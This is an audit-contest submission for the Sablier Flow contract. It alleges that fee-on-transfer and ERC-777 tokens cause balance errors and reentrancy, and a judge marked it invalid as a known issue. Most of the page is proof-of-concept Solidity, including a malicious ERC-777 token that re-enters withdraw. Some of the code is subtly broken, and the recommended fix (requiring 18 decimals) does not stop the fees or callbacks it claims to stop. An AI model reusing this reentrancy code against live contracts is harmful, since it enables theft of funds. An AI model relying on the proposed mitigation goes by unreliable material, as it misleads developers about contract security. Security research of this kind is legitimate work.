Flow

Sablier
FoundryDeFi
20,000 USDC
View results
Submission Details
Severity: medium
Invalid

Missing Enforcement of Token Assumptions

Summary

The SablierFlow smart contract lacks proper enforcement of token standards, specifically assuming that all ERC-20 tokens used do not impose transfer fees or support callback mechanisms like those in ERC-777 tokens. This oversight allows malicious actors to exploit the contract by using tokens with transfer fees or callback functionalities, leading to incorrect balance updates, insolvency of streams, and potential reentrancy attacks.

Vulnerability Details

Proof of Concept (PoC)

1. Deploying a Mock ERC-20 Token with Transfer Fees

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockERC20WithFee is ERC20 {
uint256 public feePercentage;
constructor(string memory name, string memory symbol, uint256 initialSupply, uint256 _feePercentage) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
feePercentage = _feePercentage;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
uint256 fee = (amount * feePercentage) / 100;
uint256 amountAfterFee = amount - fee;
_transfer(_msgSender(), recipient, amountAfterFee);
_transfer(_msgSender(), address(this), fee);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
uint256 fee = (amount * feePercentage) / 100;
uint256 amountAfterFee = amount - fee;
_transfer(sender, recipient, amountAfterFee);
_transfer(sender, address(this), fee);
return true;
}
}

Explanation:
We create a MockERC20WithFee contract that inherits from OpenZeppelin's ERC-20 implementation. This mock token introduces a transfer fee mechanism where a percentage of each transfer is redirected to the contract itself. This simulates tokens like certain versions of USDT that impose transfer fees.

2. Creating a Stream and Depositing with Transfer Fee Token

// Deploy the mock token with a 2% transfer fee
MockERC20WithFee feeToken = new MockERC20WithFee("FeeToken", "FTK", 1000000 * 1e18, 2);
// Approve the Flow contract to spend tokens
feeToken.approve(address(flow), 500 * 1e18);
// Create and deposit into a new stream
flow.createAndDeposit(sender, recipient, ratePerSecond, address(feeToken), true, 500 * 1e18);

Explanation:
Here, we deploy the MockERC20WithFee with an initial supply and a 2% transfer fee. The sender approves the Flow contract to spend 500 tokens and then creates a new stream while depositing 500 tokens. Due to the transfer fee, only 490 tokens (500 - 2%) are actually deposited into the stream.

3. Verifying the Stream Balance Discrepancy

// Retrieve the stream balance
uint128 streamBalance = flow.getBalance(streamId);
// Expected balance should be less due to the transfer fee
assert(streamBalance == 490 * 1e18);

Explanation:
After depositing, we retrieve the stream's balance. The expected balance is 490 tokens instead of 500 due to the 2% transfer fee deducted during the deposit. This discrepancy leads to incorrect debt calculations within the Flow contract.

4. Deploying a Malicious ERC-777 Token with Reentrancy

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;
import "@openzeppelin/contracts/token/ERC777/ERC777.sol";
import "./SablierFlow.sol";
contract MaliciousERC777 is ERC777 {
SablierFlow public flow;
uint256 public targetStreamId;
constructor(address flowAddress, uint256 streamId) ERC777("MaliciousToken", "MTK", new address[](0)) {
flow = SablierFlow(flowAddress);
targetStreamId = streamId;
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external override {
// Re-enter the withdraw function during the tokensReceived callback
flow.withdraw(targetStreamId, msg.sender, 1000 * 1e18);
}
}

Explanation:
We create a MaliciousERC777 contract that inherits from OpenZeppelin's ERC-777 implementation. The tokensReceived callback is overridden to re-enter the withdraw function of the Flow contract during a token transfer. This setup aims to exploit potential reentrancy vulnerabilities within the Flow contract's withdrawal mechanisms.

5. Executing the Reentrancy Attack

// Deploy the malicious ERC-777 token
MaliciousERC777 maliciousToken = new MaliciousERC777(address(flow), targetStreamId);
// Approve and deposit tokens into the stream using the malicious token
maliciousToken.approve(address(flow), 1000 * 1e18);
flow.createAndDeposit(sender, recipient, ratePerSecond, address(maliciousToken), true, 1000 * 1e18);
// Attempt to withdraw, triggering the reentrancy via tokensReceived
flow.withdraw(targetStreamId, attacker, 500 * 1e18);

Explanation:
By depositing the malicious ERC-777 token into a stream and then attempting a withdrawal, the tokensReceived callback is triggered. This callback re-enters the withdraw function, potentially allowing the attacker to withdraw more funds than intended or manipulate the contract's state, exploiting any reentrancy vulnerabilities present.

Impact

  1. Incorrect Balance Updates:

    • Transfer Fees: Tokens with transfer fees result in the Flow contract receiving fewer tokens than expected. This underfunding can lead to streams becoming insolvent prematurely, affecting both senders and recipients.

  2. Reentrancy Attacks:

    • ERC-777 Callbacks: Malicious tokens leveraging callback mechanisms can re-enter critical functions like withdraw, potentially draining funds, altering debt calculations, or disrupting the contract's state integrity.

Tools Used

  • Manual Review

Recommendations (Detailed Steps to Mitigate the Vulnerability)

1. Token Validation

Implement a validation mechanism during token deposit and withdrawal processes to ensure that the token adheres to standard ERC-20 behavior.

function _validateToken(IERC20 token) internal view {
// Example: Check for non-zero decimals and absence of callbacks
require(token.decimals() == 18, "Unsupported token decimals");
// Additional checks can be implemented as needed
}

Explanation:
Before accepting any token for streaming, the contract verifies that the token has the expected number of decimals and does not support callback mechanisms. This prevents tokens with transfer fees or ERC-777 functionalities from being used.

Updates

Lead Judging Commences

inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.